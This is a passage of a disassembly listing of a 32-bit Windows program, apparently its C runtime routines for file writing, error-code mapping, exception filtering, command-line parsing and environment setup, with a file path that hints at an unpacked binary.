; ---------------------------------------------------------------------------
loc_41CC12: ; CODE XREF: sub_41CA9C+161j
; sub_41CA9C+166j
and byte_46CA80[eax], 0
loc_41CC19: ; CODE XREF: sub_41CA9C+15Cj
inc eax
cmp eax, esi
jb short loc_41CBDC
loc_41CC1E: ; CODE XREF: sub_41CA9C+137j
pop esi
leave
retn
sub_41CA9C endp
; =============== S U B R O U T I N E =======================================
sub_41CC21 proc near ; CODE XREF: sub_41D05F+9p
; sub_41D0B7+Dp ...
cmp dword_46CCB4, 0
jnz short locret_41CC3C
push 0FFFFFFFDh
call sub_41C85D
pop ecx
mov dword_46CCB4, 1
locret_41CC3C: ; CODE XREF: sub_41CC21+7j
retn
sub_41CC21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CC3D proc near ; CODE XREF: sub_4171E8+2Bp
; sub_4171E8+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_46CA7C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_41CC61
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_416BE0
add esp, 0Ch
jmp short loc_41CCC4
; ---------------------------------------------------------------------------
loc_41CC61: ; CODE XREF: sub_41CC3D+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_41CCA6
mov ecx, [ebp+arg_4]
loc_41CC6C: ; CODE XREF: sub_41CC3D+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_46CB81[esi], 4
mov [edi], al
jz short loc_41CC90
inc edi
inc ecx
test edx, edx
jz short loc_41CC9C
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_41CCA2
jmp short loc_41CC96
; ---------------------------------------------------------------------------
loc_41CC90: ; CODE XREF: sub_41CC3D+3Ej
inc edi
inc ecx
test al, al
jz short loc_41CCA6
loc_41CC96: ; CODE XREF: sub_41CC3D+51j
test edx, edx
jnz short loc_41CC6C
jmp short loc_41CCA6
; ---------------------------------------------------------------------------
loc_41CC9C: ; CODE XREF: sub_41CC3D+44j
and byte ptr [edi-1], 0
jmp short loc_41CCA6
; ---------------------------------------------------------------------------
loc_41CCA2: ; CODE XREF: sub_41CC3D+4Fj
and byte ptr [edi-2], 0
loc_41CCA6: ; CODE XREF: sub_41CC3D+2Aj
; sub_41CC3D+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_41CCC1
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_41CCC1: ; CODE XREF: sub_41CC3D+6Fj
mov eax, [ebp+arg_0]
loc_41CCC4: ; CODE XREF: sub_41CC3D+22j
pop edi
pop ebp
retn
sub_41CC3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CCC7 proc near ; CODE XREF: sub_41761F+A2p
; sub_417C57+95p ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_46CA60
push esi
push edi
jnb loc_41CE5B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:46C960h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_41CE5B
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_41CD18
loc_41CD11: ; CODE XREF: sub_41CCC7+177j
xor eax, eax
jmp loc_41CE6F
; ---------------------------------------------------------------------------
loc_41CD18: ; CODE XREF: sub_41CCC7+48j
test al, 20h
jz short loc_41CD28
push 2
push edi
push ecx
call sub_41C447
add esp, 0Ch
loc_41CD28: ; CODE XREF: sub_41CCC7+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_41CDF7
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_41CE2F
loc_41CD48: ; CODE XREF: sub_41CCC7+F5j
lea eax, [ebp+var_414]
loc_41CD4E: ; CODE XREF: sub_41CCC7+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41CD82
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_41CD6D
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_41CD6D: ; CODE XREF: sub_41CCC7+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_41CD4E
loc_41CD82: ; CODE XREF: sub_41CCC7+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_421070 ; WriteFile
test eax, eax
jz short loc_41CDEC
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_41CDBE
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_41CD48
loc_41CDBE: ; CODE XREF: sub_41CCC7+EAj
; sub_41CCC7+12Ej
xor edi, edi
loc_41CDC0: ; CODE XREF: sub_41CCC7+150j
; sub_41CCC7+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_41CE56
cmp [ebp+arg_0], edi
jz short loc_41CE2F
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_41CE24
mov dword_46B634, 9
mov dword_46B638, eax
jmp loc_41CE6C
; ---------------------------------------------------------------------------
loc_41CDEC: ; CODE XREF: sub_41CCC7+E0j
call dword_421088 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_41CDBE
; ---------------------------------------------------------------------------
loc_41CDF7: ; CODE XREF: sub_41CCC7+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call dword_421070 ; WriteFile
test eax, eax
jz short loc_41CE19
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_41CDC0
; ---------------------------------------------------------------------------
loc_41CE19: ; CODE XREF: sub_41CCC7+145j
call dword_421088 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_41CDC0
; ---------------------------------------------------------------------------
loc_41CE24: ; CODE XREF: sub_41CCC7+10Fj
push [ebp+arg_0]
call sub_41CE74
pop ecx
jmp short loc_41CE6C
; ---------------------------------------------------------------------------
loc_41CE2F: ; CODE XREF: sub_41CCC7+7Bj
; sub_41CCC7+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_41CE44
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_41CD11
loc_41CE44: ; CODE XREF: sub_41CCC7+16Fj
mov dword_46B634, 1Ch
mov dword_46B638, edi
jmp short loc_41CE6C
; ---------------------------------------------------------------------------
loc_41CE56: ; CODE XREF: sub_41CCC7+FEj
sub eax, [ebp+var_10]
jmp short loc_41CE6F
; ---------------------------------------------------------------------------
loc_41CE5B: ; CODE XREF: sub_41CCC7+15j
; sub_41CCC7+37j
and dword_46B638, 0
mov dword_46B634, 9
loc_41CE6C: ; CODE XREF: sub_41CCC7+120j
; sub_41CCC7+166j ...
or eax, 0FFFFFFFFh
loc_41CE6F: ; CODE XREF: sub_41CCC7+4Cj
; sub_41CCC7+192j
pop edi
pop esi
pop ebx
leave
retn
sub_41CCC7 endp
; =============== S U B R O U T I N E =======================================
sub_41CE74 proc near ; CODE XREF: sub_417729+16p
; sub_41791C+1Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_46B638, ecx
mov eax, offset dword_43A3B0
loc_41CE85: ; CODE XREF: sub_41CE74+1Ej
cmp ecx, [eax]
jz short loc_41CEA9
add eax, 8
inc edx
cmp eax, offset dword_43A518
jl short loc_41CE85
cmp ecx, 13h
jb short loc_41CEB6
cmp ecx, 24h
ja short loc_41CEB6
mov dword_46B634, 0Dh
retn
; ---------------------------------------------------------------------------
loc_41CEA9: ; CODE XREF: sub_41CE74+13j
mov eax, dword_43A3B4[edx*8]
mov dword_46B634, eax
retn
; ---------------------------------------------------------------------------
loc_41CEB6: ; CODE XREF: sub_41CE74+23j
; sub_41CE74+28j
cmp ecx, 0BCh
jb short loc_41CED0
cmp ecx, 0CAh
mov dword_46B634, 8
jbe short locret_41CEDA
loc_41CED0: ; CODE XREF: sub_41CE74+48j
mov dword_46B634, 16h
locret_41CEDA: ; CODE XREF: sub_41CE74+5Aj
retn
sub_41CE74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CEDB proc near ; CODE XREF: seg001:00417BFBp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_41D01C
test eax, eax
pop ecx
jz loc_41D010
mov ebx, [eax+8]
test ebx, ebx
jz loc_41D010
cmp ebx, 5
jnz short loc_41CF0C
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_41D019
; ---------------------------------------------------------------------------
loc_41CF0C: ; CODE XREF: sub_41CEDB+23j
cmp ebx, 1
jz loc_41D00B
mov ecx, dword_46B6E8
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov dword_46B6E8, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_41CFFB
mov ecx, dword_43A590
mov edx, dword_43A594
add edx, ecx
push esi
cmp ecx, edx
jge short loc_41CF5B
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43A520h[esi*4]
loc_41CF52: ; CODE XREF: sub_41CEDB+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_41CF52
loc_41CF5B: ; CODE XREF: sub_41CEDB+69j
mov eax, [eax]
mov esi, dword_43A59C
cmp eax, 0C000008Eh
jnz short loc_41CF76
mov dword_43A59C, 83h
jmp short loc_41CFE6
; ---------------------------------------------------------------------------
loc_41CF76: ; CODE XREF: sub_41CEDB+8Dj
cmp eax, 0C0000090h
jnz short loc_41CF89
mov dword_43A59C, 81h
jmp short loc_41CFE6
; ---------------------------------------------------------------------------
loc_41CF89: ; CODE XREF: sub_41CEDB+A0j
cmp eax, 0C0000091h
jnz short loc_41CF9C
mov dword_43A59C, 84h
jmp short loc_41CFE6
; ---------------------------------------------------------------------------
loc_41CF9C: ; CODE XREF: sub_41CEDB+B3j
cmp eax, 0C0000093h
jnz short loc_41CFAF
mov dword_43A59C, 85h
jmp short loc_41CFE6
; ---------------------------------------------------------------------------
loc_41CFAF: ; CODE XREF: sub_41CEDB+C6j
cmp eax, 0C000008Dh
jnz short loc_41CFC2
mov dword_43A59C, 82h
jmp short loc_41CFE6
; ---------------------------------------------------------------------------
loc_41CFC2: ; CODE XREF: sub_41CEDB+D9j
cmp eax, 0C000008Fh
jnz short loc_41CFD5
mov dword_43A59C, 86h
jmp short loc_41CFE6
; ---------------------------------------------------------------------------
loc_41CFD5: ; CODE XREF: sub_41CEDB+ECj
cmp eax, 0C0000092h
jnz short loc_41CFE6
mov dword_43A59C, 8Ah
loc_41CFE6: ; CODE XREF: sub_41CEDB+99j
; sub_41CEDB+ACj ...
push dword_43A59C
push 8
call ebx
pop ecx
mov dword_43A59C, esi
pop ecx
pop esi
jmp short loc_41D003
; ---------------------------------------------------------------------------
loc_41CFFB: ; CODE XREF: sub_41CEDB+52j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_41D003: ; CODE XREF: sub_41CEDB+11Ej
mov eax, [ebp+arg_0]
mov dword_46B6E8, eax
loc_41D00B: ; CODE XREF: sub_41CEDB+34j
or eax, 0FFFFFFFFh
jmp short loc_41D019
; ---------------------------------------------------------------------------
loc_41D010: ; CODE XREF: sub_41CEDB+Fj
; sub_41CEDB+1Aj
push [ebp+arg_4]
call dword_4211A4 ; UnhandledExceptionFilter
loc_41D019: ; CODE XREF: sub_41CEDB+2Cj
; sub_41CEDB+133j
pop ebx
pop ebp
retn
sub_41CEDB endp
; =============== S U B R O U T I N E =======================================
sub_41D01C proc near ; CODE XREF: sub_41CEDB+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43A598
cmp dword_43A518, edx
push esi
mov eax, offset dword_43A518
jz short loc_41D049
lea esi, [ecx+ecx*2]
lea esi, ds:43A518h[esi*4]
loc_41D03E: ; CODE XREF: sub_41D01C+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_41D049
cmp [eax], edx
jnz short loc_41D03E
loc_41D049: ; CODE XREF: sub_41D01C+16j
; sub_41D01C+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43A518h[ecx*4]
cmp eax, ecx
jnb short loc_41D05C
cmp [eax], edx
jz short locret_41D05E
loc_41D05C: ; CODE XREF: sub_41D01C+3Aj
xor eax, eax
locret_41D05E: ; CODE XREF: sub_41D01C+3Ej
retn
sub_41D01C endp
; =============== S U B R O U T I N E =======================================
sub_41D05F proc near ; CODE XREF: seg001:00417BBDp
cmp dword_46CCB4, 0
jnz short loc_41D06D
call sub_41CC21
loc_41D06D: ; CODE XREF: sub_41D05F+7j
push esi
mov esi, dword_46CCAC
mov al, [esi]
cmp al, 22h
jnz short loc_41D09F
loc_41D07A: ; CODE XREF: sub_41D05F+33j
; sub_41D05F+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_41D097
test al, al
jz short loc_41D097
movzx eax, al
push eax
call sub_41EF4C
test eax, eax
pop ecx
jz short loc_41D07A
inc esi
jmp short loc_41D07A
; ---------------------------------------------------------------------------
loc_41D097: ; CODE XREF: sub_41D05F+21j
; sub_41D05F+25j
cmp byte ptr [esi], 22h
jnz short loc_41D0A9
loc_41D09C: ; CODE XREF: sub_41D05F+52j
inc esi
jmp short loc_41D0A9
; ---------------------------------------------------------------------------
loc_41D09F: ; CODE XREF: sub_41D05F+19j
cmp al, 20h
jbe short loc_41D0A9
loc_41D0A3: ; CODE XREF: sub_41D05F+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_41D0A3
loc_41D0A9: ; CODE XREF: sub_41D05F+3Bj
; sub_41D05F+3Ej ...
mov al, [esi]
test al, al
jz short loc_41D0B3
cmp al, 20h
jbe short loc_41D09C
loc_41D0B3: ; CODE XREF: sub_41D05F+4Ej
mov eax, esi
pop esi
retn
sub_41D05F endp
; =============== S U B R O U T I N E =======================================
sub_41D0B7 proc near ; CODE XREF: seg001:00417BA6p
push ebx
xor ebx, ebx
cmp dword_46CCB4, ebx
push esi
push edi
jnz short loc_41D0C9
call sub_41CC21
loc_41D0C9: ; CODE XREF: sub_41D0B7+Bj
mov esi, dword_46B680
xor edi, edi
loc_41D0D1: ; CODE XREF: sub_41D0B7+30j
mov al, [esi]
cmp al, bl
jz short loc_41D0E9
cmp al, 3Dh
jz short loc_41D0DC
inc edi
loc_41D0DC: ; CODE XREF: sub_41D0B7+22j
push esi
call sub_415B10
pop ecx
lea esi, [esi+eax+1]
jmp short loc_41D0D1
; ---------------------------------------------------------------------------
loc_41D0E9: ; CODE XREF: sub_41D0B7+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_415BE9
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_46B65C, esi
jnz short loc_41D10B
push 9
call sub_417C0E
pop ecx
loc_41D10B: ; CODE XREF: sub_41D0B7+4Aj
mov edi, dword_46B680
cmp [edi], bl
jz short loc_41D14E
push ebp
loc_41D116: ; CODE XREF: sub_41D0B7+94j
push edi
call sub_415B10
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_41D147
push ebp
call sub_415BE9
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_41D13A
push 9
call sub_417C0E
pop ecx
loc_41D13A: ; CODE XREF: sub_41D0B7+79j
push edi
push dword ptr [esi]
call sub_415A20
pop ecx
add esi, 4
pop ecx
loc_41D147: ; CODE XREF: sub_41D0B7+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_41D116
pop ebp
loc_41D14E: ; CODE XREF: sub_41D0B7+5Cj
push dword_46B680
call sub_415C9B
pop ecx
mov dword_46B680, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_46CCB0, 1
pop ebx
retn
sub_41D0B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D170 proc near ; CODE XREF: seg001:00417BA1p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_46CCB4, ebx
push esi
push edi
jnz short loc_41D187
call sub_41CC21
loc_41D187: ; CODE XREF: sub_41D170+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call dword_42107C ; GetModuleFileNameA
mov eax, dword_46CCAC
mov off_46B66C, esi
mov edi, esi
cmp [eax], bl
jz short loc_41D1AC
mov edi, eax
loc_41D1AC: ; CODE XREF: sub_41D170+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_41D209
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_415BE9
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_41D1DC
push 8
call sub_417C0E
pop ecx
loc_41D1DC: ; CODE XREF: sub_41D170+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_41D209
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov dword_46B654, esi
pop edi
pop esi
mov dword_46B650, eax
pop ebx
leave
retn
sub_41D170 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D209 proc near ; CODE XREF: sub_41D170+47p
; sub_41D170+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_41D233
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41D233: ; CODE XREF: sub_41D209+20j
cmp byte ptr [eax], 22h
jnz short loc_41D27C
loc_41D238: ; CODE XREF: sub_41D209+58j
; sub_41D209+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_41D26A
test dl, dl
jz short loc_41D26A
movzx edx, dl
test byte_46CB81[edx], 4
jz short loc_41D25D
inc dword ptr [ecx]
test esi, esi
jz short loc_41D25D
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_41D25D: ; CODE XREF: sub_41D209+46j
; sub_41D209+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_41D238
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41D238
; ---------------------------------------------------------------------------
loc_41D26A: ; CODE XREF: sub_41D209+36j
; sub_41D209+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_41D274
and byte ptr [esi], 0
inc esi
loc_41D274: ; CODE XREF: sub_41D209+65j
cmp byte ptr [eax], 22h
jnz short loc_41D2BF
inc eax
jmp short loc_41D2BF
; ---------------------------------------------------------------------------
loc_41D27C: ; CODE XREF: sub_41D209+2Dj
; sub_41D209+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_41D287
mov dl, [eax]
mov [esi], dl
inc esi
loc_41D287: ; CODE XREF: sub_41D209+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_46CB81[ebx], 4
jz short loc_41D2A2
inc dword ptr [ecx]
test esi, esi
jz short loc_41D2A1
mov bl, [eax]
mov [esi], bl
inc esi
loc_41D2A1: ; CODE XREF: sub_41D209+91j
inc eax
loc_41D2A2: ; CODE XREF: sub_41D209+8Bj
cmp dl, 20h
jz short loc_41D2B0
test dl, dl
jz short loc_41D2B4
cmp dl, 9
jnz short loc_41D27C
loc_41D2B0: ; CODE XREF: sub_41D209+9Cj
test dl, dl
jnz short loc_41D2B7
loc_41D2B4: ; CODE XREF: sub_41D209+A0j
dec eax
jmp short loc_41D2BF
; ---------------------------------------------------------------------------
loc_41D2B7: ; CODE XREF: sub_41D209+A9j
test esi, esi
jz short loc_41D2BF
and byte ptr [esi-1], 0
loc_41D2BF: ; CODE XREF: sub_41D209+6Ej
; sub_41D209+71j ...
and [ebp+arg_10], 0
loc_41D2C3: ; CODE XREF: sub_41D209+19Ej
cmp byte ptr [eax], 0
jz loc_41D3AC
loc_41D2CC: ; CODE XREF: sub_41D209+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_41D2D8
cmp dl, 9
jnz short loc_41D2DB
loc_41D2D8: ; CODE XREF: sub_41D209+C8j
inc eax
jmp short loc_41D2CC
; ---------------------------------------------------------------------------
loc_41D2DB: ; CODE XREF: sub_41D209+CDj
cmp byte ptr [eax], 0
jz loc_41D3AC
test edi, edi
jz short loc_41D2F0
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41D2F0: ; CODE XREF: sub_41D209+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_41D2F5: ; CODE XREF: sub_41D209+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_41D2FE: ; CODE XREF: sub_41D209+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_41D307
inc eax
inc ebx
jmp short loc_41D2FE
; ---------------------------------------------------------------------------
loc_41D307: ; CODE XREF: sub_41D209+F8j
cmp byte ptr [eax], 22h
jnz short loc_41D338
test bl, 1
jnz short loc_41D336
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_41D325
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_41D325
mov eax, edx
jmp short loc_41D328
; ---------------------------------------------------------------------------
loc_41D325: ; CODE XREF: sub_41D209+10Dj
; sub_41D209+116j
mov [ebp+arg_0], edi
loc_41D328: ; CODE XREF: sub_41D209+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_41D336: ; CODE XREF: sub_41D209+106j
shr ebx, 1
loc_41D338: ; CODE XREF: sub_41D209+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_41D34D
inc ebx
loc_41D340: ; CODE XREF: sub_41D209+142j
test esi, esi
jz short loc_41D348
mov byte ptr [esi], 5Ch
inc esi
loc_41D348: ; CODE XREF: sub_41D209+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_41D340
loc_41D34D: ; CODE XREF: sub_41D209+134j
mov dl, [eax]
test dl, dl
jz short loc_41D39D
cmp [ebp+arg_10], 0
jnz short loc_41D363
cmp dl, 20h
jz short loc_41D39D
cmp dl, 9
jz short loc_41D39D
loc_41D363: ; CODE XREF: sub_41D209+14Ej
cmp [ebp+arg_0], 0
jz short loc_41D397
test esi, esi
jz short loc_41D386
movzx ebx, dl
test byte_46CB81[ebx], 4
jz short loc_41D37F
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_41D37F: ; CODE XREF: sub_41D209+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41D395
; ---------------------------------------------------------------------------
loc_41D386: ; CODE XREF: sub_41D209+162j
movzx edx, dl
test byte_46CB81[edx], 4
jz short loc_41D395
inc eax
inc dword ptr [ecx]
loc_41D395: ; CODE XREF: sub_41D209+17Bj
; sub_41D209+187j
inc dword ptr [ecx]
loc_41D397: ; CODE XREF: sub_41D209+15Ej
inc eax
jmp loc_41D2F5
; ---------------------------------------------------------------------------
loc_41D39D: ; CODE XREF: sub_41D209+148j
; sub_41D209+153j ...
test esi, esi
jz short loc_41D3A5
and byte ptr [esi], 0
inc esi
loc_41D3A5: ; CODE XREF: sub_41D209+196j
inc dword ptr [ecx]
jmp loc_41D2C3
; ---------------------------------------------------------------------------
loc_41D3AC: ; CODE XREF: sub_41D209+BDj
; sub_41D209+D5j
test edi, edi
jz short loc_41D3B3
and dword ptr [edi], 0
loc_41D3B3: ; CODE XREF: sub_41D209+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_41D209 endp
; =============== S U B R O U T I N E =======================================
sub_41D3BD proc near ; CODE XREF: seg001:00417B97p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_46B7F0
push ebx
push ebp
mov ebp, dword_42103C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_41D40B
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_41D3EC
mov dword_46B7F0, 1
jmp short loc_41D414
; ---------------------------------------------------------------------------
loc_41D3EC: ; CODE XREF: sub_41D3BD+21j
call dword_421040 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz loc_41D4E6
mov dword_46B7F0, 2
jmp loc_41D49A
; ---------------------------------------------------------------------------
loc_41D40B: ; CODE XREF: sub_41D3BD+19j
cmp eax, 1
jnz loc_41D495
loc_41D414: ; CODE XREF: sub_41D3BD+2Dj
cmp esi, ebx
jnz short loc_41D424
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_41D4E6
loc_41D424: ; CODE XREF: sub_41D3BD+59j
cmp [esi], bx
mov eax, esi
jz short loc_41D439
loc_41D42B: ; CODE XREF: sub_41D3BD+73j
; sub_41D3BD+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_41D42B
inc eax
inc eax
cmp [eax], bx
jnz short loc_41D42B
loc_41D439: ; CODE XREF: sub_41D3BD+6Cj
sub eax, esi
mov edi, dword_421138
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_41D48A
push ebp
call sub_415BE9
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_41D48A
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_41D486
push [esp+18h+var_8]
call sub_415C9B
pop ecx
mov [esp+18h+var_8], ebx
loc_41D486: ; CODE XREF: sub_41D3BD+B9j
mov ebx, [esp+18h+var_8]
loc_41D48A: ; CODE XREF: sub_41D3BD+99j
; sub_41D3BD+A8j
push esi
call dword_421044 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_41D4E8
; ---------------------------------------------------------------------------
loc_41D495: ; CODE XREF: sub_41D3BD+51j
cmp eax, 2
jnz short loc_41D4E6
loc_41D49A: ; CODE XREF: sub_41D3BD+49j
cmp edi, ebx
jnz short loc_41D4AA
call dword_421040 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz short loc_41D4E6
loc_41D4AA: ; CODE XREF: sub_41D3BD+DFj
cmp [edi], bl
mov eax, edi
jz short loc_41D4BA
loc_41D4B0: ; CODE XREF: sub_41D3BD+F6j
; sub_41D3BD+FBj
inc eax
cmp [eax], bl
jnz short loc_41D4B0
inc eax
cmp [eax], bl
jnz short loc_41D4B0
loc_41D4BA: ; CODE XREF: sub_41D3BD+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_415BE9
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_41D4D0
xor esi, esi
jmp short loc_41D4DB
; ---------------------------------------------------------------------------
loc_41D4D0: ; CODE XREF: sub_41D3BD+10Dj
push ebp
push edi
push esi
call sub_4153F0
add esp, 0Ch
loc_41D4DB: ; CODE XREF: sub_41D3BD+111j
push edi
call dword_4211A8 ; FreeEnvironmentStringsA
mov eax, esi
jmp short loc_41D4E8
; ---------------------------------------------------------------------------
loc_41D4E6: ; CODE XREF: sub_41D3BD+39j
; sub_41D3BD+61j ...
xor eax, eax
loc_41D4E8: ; CODE XREF: sub_41D3BD+D6j
; sub_41D3BD+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_41D3BD endp
; =============== S U B R O U T I N E =======================================
sub_41D4EF proc near ; CODE XREF: seg001:00417B87p
var_44 = byte ptr -44h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_415BE9
mov esi, eax
pop ecx
test esi, esi
jnz short loc_41D50F
push 1Bh
call sub_417C0E
pop ecx
loc_41D50F: ; CODE XREF: sub_41D4EF+16j
mov dword_46C960, esi
mov dword_46CA60, 20h
lea eax, [esi+100h]
loc_41D525: ; CODE XREF: sub_41D4EF+52j
cmp esi, eax
jnb short loc_41D543
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_46C960
add esi, 8
add eax, 100h
jmp short loc_41D525
; ---------------------------------------------------------------------------
loc_41D543: ; CODE XREF: sub_41D4EF+38j
lea eax, [esp+54h+var_44]
push eax
